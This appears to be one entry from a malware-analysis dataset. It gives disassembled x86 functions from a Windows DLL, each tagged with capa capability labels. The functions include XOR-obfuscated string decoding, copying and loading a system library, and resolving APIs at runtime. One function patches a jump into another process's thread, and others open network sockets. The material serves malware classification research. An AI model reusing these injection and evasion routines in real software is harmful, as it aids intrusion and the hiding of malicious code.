joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ccf6
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 0xc], 0x30
push esi
push edi
mov edi, eax
mov dword [ebp - 4], 0x40
jne 0x1000cd13
mov dword [ebp - 4], 0x80
test ebx, ebx
je 0x1000cd2a
mov esi, dword [ebp + 8]
sub esi, edi
mov ecx, ebx
mov dl, byte [esi + eax]
xor dl, 0x36
mov byte [eax], dl
inc eax
dec ecx
jne 0x1000cd1e
cmp ebx, dword [ebp - 4]
jge 0x1000cd43
mov ecx, dword [ebp - 4]
sub ecx, ebx
push ecx
lea eax, [edi + ebx]
push 0x36
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp + 0xc], 0x30
jne 0x1000cd62
lea eax, [edi + 0x80]
call fcn.10010129
push dword [ebp - 4]
mov esi, eax
push edi
call fcn.10010899
pop ecx
jmp 0x1000cd78
lea esi, [edi + 0x80]
mov eax, esi
call fcn.1000ff8d
mov eax, dword [ebp - 4]
push edi
call fcn.1000ffd0
pop ecx
test ebx, ebx
je 0x1000cd92
mov esi, dword [ebp + 8]
mov eax, edi
sub esi, edi
mov ecx, ebx
mov dl, byte [eax + esi]
xor dl, 0x5c
mov byte [eax], dl
inc eax
dec ecx
jne 0x1000cd86
mov eax, dword [ebp - 4]
cmp ebx, eax
jge 0x1000cda9
sub eax, ebx
push eax
add edi, ebx
push 0x5c
push edi
call sub.msvcrt.dll_memset
add esp, 0xc
pop edi
pop esi
leave
ret

Function at 0x1000e544
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x1000e613
cmp dword [ebp + 0xc], ebx
je 0x1000e613
cmp esi, ebx
je 0x1000e613
test byte [ebp + 0x10], 7
jne 0x1000e613
mov eax, dword [esi]
cmp eax, ebx
jl 0x1000e60f
cmp eax, 0x10
jg 0x1000e60f
mov dword [ebp - 4], ebx
cmp dword [ebp + 0x10], ebx
jbe 0x1000e5fe
push edi
xor edi, edi
cmp eax, ebx
jle 0x1000e5af
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
sub edx, ecx
lea ecx, [ebp + edi - 0x1c]
mov bl, byte [edx + ecx]
xor bl, byte [esi + edi + 4]
inc edi
mov byte [ecx], bl
cmp edi, eax
jl 0x1000e59b
xor ebx, ebx
mov ecx, dword [ebp + 0xc]
lea eax, [esi + 0x14]
push eax
lea eax, [ebp - 0x1c]
call fcn.1000eb19
add esp, 4
push 0x20
pop ecx
lea eax, [ebp - 0x3c]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1000e5c7
push 0x2c
pop ecx
call fcn.1000f6d5
xor eax, eax
cmp dword [esi], ebx
jle 0x1000e5ea
mov ecx, dword [ebp + 0xc]
mov cl, byte [eax + ecx]
mov byte [esi + eax + 4], cl
inc eax
cmp eax, dword [esi]
jl 0x1000e5db
mov eax, dword [esi]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add dword [ebp + 0xc], eax
add dword [ebp + 8], eax
cmp ecx, dword [ebp + 0x10]
jb 0x1000e58d
pop edi
push 0x18
pop ecx
lea eax, [ebp - 0x1c]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1000e604
mov eax, dword [ebp + 0x10]
jmp 0x1000e616
push 0xfffffffffffffff7
jmp 0x1000e615
push 0xfffffffffffffffa
pop eax
pop ebx
leave
ret
Function at 0x1000e619
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
mov ebx, eax
xor ecx, ecx
cmp ebx, ecx
je 0x1000e6f6
cmp dword [ebp + 8], ecx
je 0x1000e6f6
cmp edi, ecx
je 0x1000e6f6
test byte [ebp + 0xc], 7
jne 0x1000e6f6
mov eax, dword [edi]
cmp eax, ecx
jl 0x1000e6f2
cmp eax, 0x10
jg 0x1000e6f2
mov dword [ebp - 4], ecx
cmp dword [ebp + 0xc], ecx
jbe 0x1000e6d3
push esi
mov eax, dword [ebp + 8]
lea ecx, [edi + 0x14]
lea esi, [ebp - 0x34]
call fcn.1000f001
push 0x20
pop ecx
lea eax, [ebp - 0x54]
mov byte [eax], 0
inc eax
dec ecx
jne 0x1000e677
push 0x2c
pop ecx
call fcn.1000f6d5
xor eax, eax
cmp dword [edi], eax
jle 0x1000e6ad
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
sub esi, ecx
lea ecx, [ebp + eax - 0x1c]
mov dl, byte [esi + ecx]
mov byte [ecx], dl
mov cl, byte [edi + eax + 4]
xor cl, byte [ebp + eax - 0x34]
mov byte [eax + ebx], cl
inc eax
cmp eax, dword [edi]
jl 0x1000e694
xor eax, eax
cmp dword [edi], eax
jle 0x1000e6c0
mov cl, byte [ebp + eax - 0x1c]
mov byte [edi + eax + 4], cl
inc eax
cmp eax, dword [edi]
jl 0x1000e6b3
mov eax, dword [edi]
add dword [ebp - 4], eax
add dword [ebp + 8], eax
add ebx, eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
jb 0x1000e663
pop esi
push 0x18
pop ecx
lea eax, [ebp - 0x34]
mov byte [eax], 0
inc eax
dec ecx
jne 0x1000e6d9
push 0x18
pop ecx
lea eax, [ebp - 0x1c]
mov byte [eax], 0
inc eax
dec ecx
jne 0x1000e6e6
mov eax, dword [ebp + 0xc]
jmp 0x1000e6f9
push 0xfffffffffffffff7
jmp 0x1000e6f8
push 0xfffffffffffffffa
pop eax
pop ebx
leave
ret
Function at 0x1000faff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push ebx
push esi
xor edx, edx
lea ecx, [eax + 0x21]
push edi
movzx esi, byte [ecx - 1]
movzx edi, byte [ecx]
shl esi, 8
or esi, edi
movzx edi, byte [ecx + 1]
shl esi, 8
or esi, edi
movzx edi, byte [ecx + 2]
shl esi, 8
or esi, edi
mov dword [ebp + edx*4 - 0x150], esi
inc edx
add ecx, 4
cmp edx, 0x10
jb 0x1000fb10
mov ecx, dword [eax + 8]
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 4], ecx
mov ecx, dword [eax + 0x18]
push 0x40
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], esi
lea ecx, [ebp - 0x148]
pop edi
mov ebx, dword [ecx + 0x2c]
xor ebx, dword [ecx + 0x18]
xor ebx, dword [ecx - 8]
xor ebx, dword [ecx]
add ecx, 4
dec edi
rol ebx, 1
mov dword [ecx + 0x34], ebx
jne 0x1000fb62
xor ecx, ecx
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 0xc]
xor ebx, edx
and ebx, esi
mov esi, dword [ebp - 4]
xor ebx, esi
rol edi, 5
add edi, ebx
add edi, dword [ebp + ecx*4 - 0x150]
mov ebx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov edx, dword [ebp - 0x10]
inc ecx
mov dword [ebp - 8], esi
mov esi, dword [ebp - 0xc]
lea edi, [ebx + edi + 0x5a827999]
rol edx, 0x1e
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], edi
cmp ecx, 0x14
jb 0x1000fb7a
cmp ecx, 0x28
jae 0x1000fc33
mov ebx, dword [ebp - 4]
xor ebx, edx
xor ebx, esi
rol edi, 5
add edi, ebx
add edi, dword [ebp + ecx*4 - 0x150]
mov ebx, dword [ebp - 8]
lea edi, [ebx + edi + 0x6ed9eba1]
mov ebx, dword [ebp - 4]
rol esi, 0x1e
inc ecx
mov dword [ebp - 4], edx
mov edx, esi
mov esi, dword [ebp - 0xc]
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], edi
cmp ecx, 0x28
jb 0x1000fbbf
jmp 0x1000fc30
mov ebx, edx
or ebx, esi
and ebx, dword [ebp - 4]
mov esi, edx
and esi, dword [ebp - 0x10]
rol edi, 5
or ebx, esi
add ebx, dword [ebp + ecx*4 - 0x150]
mov esi, dword [ebp - 4]
add ebx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov edx, dword [ebp - 0x10]
lea edi, [ebx + edi - 0x70e44324]
mov dword [ebp - 8], esi
mov esi, dword [ebp - 0xc]
inc ecx
rol edx, 0x1e
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], esi
cmp ecx, 0x3c
jb 0x1000fbf8
jmp 0x1000fc6e
mov ebx, dword [ebp - 4]
xor ebx, edx
xor ebx, esi
add ebx, dword [ebp + ecx*4 - 0x150]
mov esi, dword [ebp - 4]
add ebx, dword [ebp - 8]
rol edi, 5
mov dword [ebp - 4], edx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 8], esi
mov esi, dword [ebp - 0xc]
lea edi, [ebx + edi - 0x359d3e2a]
inc ecx
rol edx, 0x1e
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], edi
cmp ecx, 0x50
jb 0x1000fc3a
mov ecx, dword [eax + 8]
add ecx, edi
mov dword [eax + 8], ecx
mov ecx, dword [eax + 0xc]
add ecx, esi
mov dword [eax + 0xc], ecx
mov ecx, dword [eax + 0x10]
add ecx, edx
mov dword [eax + 0x10], ecx
mov ecx, dword [eax + 0x14]
add ecx, dword [ebp - 4]
pop edi
mov dword [eax + 0x14], ecx
mov ecx, dword [eax + 0x18]
add ecx, dword [ebp - 8]
pop esi
mov dword [eax + 0x18], ecx
pop ebx
leave
ret
Function at 0x1000fcc6
Capabilities:
Hash data using sha1

Disassembly:
xor ecx, ecx
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
mov dword [eax + 0x1c], ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
ret

Function at 0x1000fe24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push esi
push edi
lea esi, [ecx + 8]
push 8
pop ecx
lea edi, [ebp - 0x20]
mov dword [ebp - 0x24], esi
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
add eax, 2
movzx edx, byte [eax - 2]
movzx esi, byte [eax - 1]
shl edx, 8
or edx, esi
movzx esi, byte [eax]
shl edx, 8
or edx, esi
movzx esi, byte [eax + 1]
shl edx, 8
or edx, esi
mov dword [ebp + ecx*4 - 0x124], edx
inc ecx
add eax, 4
cmp ecx, 0x10
jl 0x1000fe42
push 0x30
pop esi
lea eax, [ebp - 0xec]
push ebx
mov edx, dword [eax]
mov ecx, dword [eax - 0x34]
mov edi, edx
ror edi, 0x13
mov ebx, edx
shr edx, 0xa
ror ebx, 0x11
xor edi, ebx
xor edi, edx
mov edx, ecx
ror edx, 0x12
mov ebx, ecx
ror ebx, 7
xor edx, ebx
shr ecx, 3
xor edx, ecx
add edi, edx
add edi, dword [eax - 0x38]
add eax, 4
add edi, dword [eax - 0x18]
dec esi
mov dword [eax + 4], edi
jne 0x1000fe7a
mov esi, dword [ebp - 0x10]
xor edx, edx
pop ebx
mov eax, esi
ror eax, 0x19
mov ecx, esi
ror ecx, 0xb
xor eax, ecx
mov ecx, esi
ror ecx, 6
xor eax, ecx
mov ecx, dword [ebp - 0xc]
xor ecx, dword [ebp - 8]
add edx, 4
and ecx, esi
xor ecx, dword [ebp - 8]
mov esi, dword [ebp - 0x20]
add eax, ecx
add eax, dword [edx + 0x10024d1c]
mov edi, esi
add eax, dword [ebp + edx - 0x128]
mov ecx, esi
add eax, dword [ebp - 4]
add dword [ebp - 0x14], eax
ror edi, 0x16
ror ecx, 0xd
xor edi, ecx
mov ecx, esi
ror ecx, 2
xor edi, ecx
mov ecx, dword [ebp - 0x1c]
add edi, eax
mov eax, dword [ebp - 8]
or ecx, esi
and ecx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
and esi, dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
or ecx, esi
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
add ecx, edi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
cmp edx, 0x100
jl 0x1000feb8
mov eax, dword [ebp - 0x24]
pop edi
xor ecx, ecx
pop esi
mov edx, dword [ebp + ecx*4 - 0x20]
add dword [eax], edx
inc ecx
add eax, 4
cmp ecx, 8
jl 0x1000ff58
leave
ret

Function at 0x1000ff8d
Capabilities:
Hash data using sha256

Disassembly:
xor ecx, ecx
mov dword [eax + 0x28], ecx
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
mov dword [eax], ecx
mov dword [eax + 4], ecx
ret
Function at 0x10010129
Capabilities:
Hash data using sha224

Disassembly:
xor ecx, ecx
mov dword [eax + 0x48], ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], 0xc1059ed8
mov dword [eax + 0xc], 0xcbbb9d5d
mov dword [eax + 0x10], 0x367cd507
mov dword [eax + 0x14], 0x629a292a
mov dword [eax + 0x18], 0x3070dd17
mov dword [eax + 0x1c], 0x9159015a
mov dword [eax + 0x20], 0xf70e5939
mov dword [eax + 0x24], 0x152fecd8
mov dword [eax + 0x28], 0xffc00b31
mov dword [eax + 0x2c], 0x67332667
mov dword [eax + 0x30], 0x68581511
mov dword [eax + 0x34], 0x8eb44a87
mov dword [eax + 0x38], 0x64f98fa7
mov dword [eax + 0x3c], 0xdb0c2e0d
mov dword [eax + 0x40], 0xbefa4fa4
mov dword [eax + 0x44], 0x47b5481d
ret
Function at 0x10010dfe
Capabilities:
Copy file
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push ebx
push esi
push edi
xor ebx, ebx
mov edi, 0x163c
mov dword [ebp - 4], 1
mov dword [ebp - 0xc], ebx
call fcn.10012b29
mov dword [ebp - 8], eax
mov eax, dword [0x1002eba8]
mov edi, 0x80
cmp eax, 0x100
je 0x10010e41
cmp eax, edi
je 0x10010e41
cmp eax, 2
jne 0x10010f01
mov esi, 0x1002cfa4
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
xor eax, eax
call fcn.10016699
push eax
push str._08x
lea eax, [ebp - 0x9c]
push 0x40
push eax
call fcn.10010bbc
push ebx
push dword [ebp - 8]
mov esi, 0x10020c40
push esi
push str.SysWOW64
push esi
push 0x1002e334
call fcn.100130df
push ebx
push 0x10026478
mov dword [ebp - 0x10], eax
push 0x10020c64
lea eax, [ebp - 0x9c]
push eax
push esi
push 0x1002e53e
call fcn.100130df
add esp, 0x48
push ebx
push eax
push dword [ebp - 0x10]
mov dword [0x1002cd04], eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push dword [0x1002cd04]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x1002cd00], eax
cmp eax, ebx
je 0x10010ed3
mov dword [ebp - 0xc], 1
push 0xfffffffffffffffe
pop eax
lea esi, [ebp - 0x10]
call fcn.10010a5b
push edi
lea eax, [ebp - 0x9c]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp - 0xc], ebx
jne 0x10010f1a
push 0xfffffffffffffffe
pop eax
mov esi, 0x1002cd04
call fcn.10010a5b
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x1002cd00], eax
cmp eax, ebx
jne 0x10010f1a
xor eax, eax
jmp 0x10011024
lea eax, [ebp - 8]
call fcn.10012c69
mov eax, 0x2270
call fcn.10012bb6
mov dword [ebp - 0xc], eax
mov eax, 0x2bdf
call fcn.10012bb6
mov dword [ebp - 0x10], eax
mov eax, 0x1624
call fcn.10012bb6
mov dword [ebp - 8], eax
mov eax, 0x2c82
call fcn.10012bb6
mov dword [ebp - 0x1c], eax
mov eax, 0x1a8d
call fcn.10012bb6
mov dword [ebp - 0x14], eax
mov eax, 0x305c
call fcn.10012bb6
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x1002cd00]
mov dword [ebp - 0x18], eax
call esi
mov dword [0x1002cedc], eax
cmp eax, ebx
je 0x10010fee
push dword [ebp - 0x10]
push dword [0x1002cd00]
call esi
mov dword [0x1002cee0], eax
cmp eax, ebx
je 0x10010fee
push dword [ebp - 8]
push dword [0x1002cd00]
call esi
mov dword [0x1002cee4], eax
cmp eax, ebx
je 0x10010fee
push dword [ebp - 0x1c]
push dword [0x1002cd00]
call esi
mov dword [0x1002cee8], eax
cmp eax, ebx
je 0x10010fee
push dword [ebp - 0x14]
push dword [0x1002cd00]
call esi
mov dword [0x1002ceec], eax
cmp eax, ebx
je 0x10010fee
push dword [ebp - 0x18]
push dword [0x1002cd00]
call esi
mov dword [0x1002cef4], eax
cmp eax, ebx
jne 0x10010ff1
mov dword [ebp - 4], ebx
lea eax, [ebp - 0xc]
call fcn.10012c54
lea eax, [ebp - 0x10]
call fcn.10012c54
lea eax, [ebp - 8]
call fcn.10012c54
lea eax, [ebp - 0x1c]
call fcn.10012c54
lea eax, [ebp - 0x14]
call fcn.10012c54
lea eax, [ebp - 0x18]
call fcn.10012c54
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100111b9
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
cmp dword [0x1002cfa0], 0
push esi
je 0x100111dd
mov eax, 0x481
mov ecx, 0x224d
mov esi, 0x5ca
jmp 0x100111ec
mov eax, 0x58f
mov ecx, 0x3087
mov esi, 0x62c
mov edx, dword [0x1002eba8]
test edx, 0x300
jne 0x10011207
test dl, 0xd2
jne 0x10011207
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
jmp 0x1001120d
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
push 0xc
mov dword [ebp - 8], esi
call fcn.10010a45
pop ecx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001127e
push ebx
lea ebx, [ebp - 0x10]
push edi
mov esi, eax
sub ebx, eax
mov dword [ebp - 4], 3
mov edi, dword [ebx + esi]
call fcn.10012b29
mov dword [ebp - 0x18], eax
test eax, eax
je 0x10011268
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x18]
call fcn.10012c69
lea eax, [ebp - 0x224]
push eax
call fcn.10012fb9
pop ecx
mov dword [esi], eax
add esi, 4
dec dword [ebp - 4]
jne 0x1001122f
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], 3
mov eax, dword [ebp - 0x14]
pop ebx
pop esi
leave
ret

Function at 0x10011281
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
mov esi, eax
xor edi, edi
call fcn.10010dfe
test eax, eax
je 0x10011348
push dword [ebp + 8]
push dword [esi]
call fcn.1001109f
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10011348
push 0x2cc
lea eax, [ebp - 0x2e0]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push dword [esi + 4]
mov dword [ebp - 0x2e0], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10011348
mov eax, dword [ebp - 0x230]
and dword [ebp - 0x14], 0
mov dword [ebp - 0x10], eax
mov ecx, 0x100053c2
sub ecx, eax
sub ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push 0x40
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [esi]
lea ecx, [ecx + edi - 5]
mov byte [ebp - 0xc], 0xe9
mov dword [ebp - 0xb], ecx
mov dword [ebp - 4], 5
call dword [0x1002ceec]
test eax, eax
js 0x10011346
lea eax, [ebp - 4]
push eax
push 5
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x230]
push dword [esi]
call dword [0x1002cee8]
test eax, eax
jns 0x10011348
xor edi, edi
mov eax, dword [0x1002cd00]
test eax, eax
je 0x1001135f
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [0x1002cd00], 0
mov eax, dword [0x1002cd04]
test eax, eax
je 0x1001137c
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xfffffffffffffffe
pop eax
mov esi, 0x1002cd04
call fcn.10010a5b
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10011cdb
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
xor eax, eax
inc eax
push 6
push eax
push 2
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10011d03
or eax, 0xffffffff
jmp 0x10011d88
lea eax, [ebp - 8]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x10011d1f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x10011d75
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 2
stosd dword es:[edi], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x18], ax
call dword [sym.imp.WS2_32.dll_htons]
and dword [ebp - 0x14], 0
push 4
mov word [ebp - 0x16], ax
lea eax, [ebp - 8]
push eax
push 4
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jne 0x10011d75
push 0x1f4
push esi
call dword [sym.imp.WS2_32.dll_listen]
test eax, eax
jns 0x10011d86
cmp esi, 0xffffffff
jbe 0x10011cfb
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x10011cfb
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x10011d8c
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
push 6
inc esi
push esi
push 2
mov dword [ebp - 4], esi
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
or eax, 0xffffffff
cmp ebx, eax
je 0x10011e36
cmp dword [ebp + 0x10], 0
jne 0x10011ddd
lea eax, [ebp - 4]
push eax
push 0x8004667e
push ebx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x10011ddd
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x10011ddd
and dword [eax], 0
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 2
stosd dword es:[edi], eax
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
push 0x10
lea eax, [ebp - 0x14]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10011e34
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10011e2b
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0xfffffffffffffffe
pop eax
jmp 0x10011e36
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x10011e34
mov dword [eax], esi
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10011f82
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov dword [eax], ecx
mov dword [eax + 0x9c0], 1
push edi
mov edx, dword [eax + 0x9c0]
lea ecx, [eax + edx*4]
mov esi, dword [ecx - 4]
mov edi, esi
shr edi, 0x1e
xor edi, esi
imul edi, edi, 0x6c078965
add edi, edx
mov dword [ecx], edi
inc dword [eax + 0x9c0]
cmp dword [eax + 0x9c0], 0x270
jl 0x10011f90
pop edi
pop esi
ret
Function at 0x10011fc2
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
cmp dword [ecx + 0x9c0], 0x270
jl 0x1001206e
push ebx
push esi
push edi
xor esi, esi
mov edi, bind
mov eax, dword [ecx + esi*4 + 4]
lea edx, [ecx + esi*4]
xor eax, dword [edx]
and eax, edi
xor eax, dword [edx]
mov ebx, eax
shr eax, 1
and ebx, 1
xor eax, dword [ebx*4 + 0x1002b274]
xor eax, dword [ecx + esi*4 + 0x634]
inc esi
mov dword [edx], eax
cmp esi, 0xe3
jl 0x10011fdc
jmp 0x10012030
mov eax, dword [ecx + esi*4 + 4]
lea edx, [ecx + esi*4]
xor eax, dword [edx]
and eax, edi
xor eax, dword [edx]
mov ebx, eax
shr eax, 1
and ebx, 1
xor eax, dword [ebx*4 + 0x1002b274]
xor eax, dword [ecx + esi*4 - 0x38c]
inc esi
mov dword [edx], eax
cmp esi, 0x26f
jl 0x1001200b
mov eax, dword [ecx + 0x9bc]
xor eax, dword [ecx]
and eax, edi
xor eax, dword [ecx + 0x9bc]
pop edi
mov edx, eax
and edx, 1
mov edx, dword [edx*4 + 0x1002b274]
xor edx, dword [ecx + 0x630]
shr eax, 1
xor edx, eax
and dword [ecx + 0x9c0], 0
pop esi
mov dword [ecx + 0x9bc], edx
pop ebx
mov eax, dword [ecx + 0x9c0]
mov edx, dword [ecx + eax*4]
inc eax
mov dword [ecx + 0x9c0], eax
mov eax, edx
shr eax, 0xb
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret
Function at 0x10012b29
Capabilities:
Encode data using xor

Disassembly:
push ebx
xor ebx, ebx
cmp dword [0x1002caa4], ebx
jne 0x10012b56
push esi
push 0x10026498
mov esi, 0x347e
call fcn.10010a9c
pop ecx
mov dword [0x1002caa4], eax
pop esi
test eax, eax
jne 0x10012b56
mov eax, 0x1002cd08
pop ebx
ret
mov ecx, 0x347d
mov eax, edi
cmp edi, ecx
jae 0x10012b7f
mov edx, eax
and edx, 0x3f
mov dl, byte [edx + 0x1002b230]
xor dl, byte [eax + 0x10026498]
je 0x10012b7b
inc eax
cmp eax, ecx
jb 0x10012b61
jmp 0x10012b7f
sub eax, edi
mov ebx, eax
lea eax, [ebx + ebx + 2]
push eax
call fcn.10010a45
pop ecx
test eax, eax
je 0x10012b4f
xor ecx, ecx
test ebx, ebx
je 0x10012bb4
lea edx, [ecx + edi]
and edx, 0x3f
mov dl, byte [edx + 0x1002b230]
xor dl, byte [edi + ecx + 0x10026498]
movsx dx, dl
mov word [eax + ecx*2], dx
inc ecx
cmp ecx, ebx
jb 0x10012b94
pop ebx
ret

Function at 0x10012bb6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
mov ebx, eax
mov eax, dword [0x1002caa4]
push esi
test eax, eax
jne 0x10012beb
push 0x10026498
mov esi, 0x347e
call fcn.10010a9c
pop ecx
mov dword [0x1002caa4], eax
test eax, eax
jne 0x10012beb
mov eax, 0x1002ccfe
jmp 0x10012c50
mov esi, 0x347d
mov ecx, ebx
cmp ebx, esi
jae 0x10012c12
mov edx, ecx
and edx, 0x3f
mov dl, byte [edx + 0x1002b230]
xor dl, byte [eax + ecx]
je 0x10012c0d
inc ecx
cmp ecx, esi
jb 0x10012bf6
jmp 0x10012c12
sub ecx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.10010a45
pop ecx
test eax, eax
je 0x10012be4
xor edx, edx
cmp dword [ebp - 4], edx
jbe 0x10012c50
mov esi, dword [0x1002caa4]
push edi
mov edi, ebx
sub edi, eax
add esi, ebx
lea ecx, [eax + edx]
lea ebx, [edi + ecx]
and ebx, 0x3f
mov bl, byte [ebx + 0x1002b230]
xor bl, byte [esi + edx]
inc edx
mov byte [ecx], bl
cmp edx, dword [ebp - 4]
jb 0x10012c35
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10012c7e
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x10012c8c
or eax, 0xffffffff
pop ebp
ret
test esi, esi
jne 0x10012c94
push 0xfffffffffffffffe
jmp 0x10012cd9
push edi
push dword [ebp + 8]
xor eax, eax
mov edi, esi
stosd dword es:[edi], eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi], eax
pop edi
cmp eax, 0xffffffff
je 0x10012cb0
xor eax, eax
inc eax
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10012cc1
push 0xfffffffffffffffd
jmp 0x10012cd9
mov eax, dword [eax + 0xc]
test eax, eax
je 0x10012cd7
cmp dword [eax], 0
je 0x10012cd7
mov eax, dword [eax]
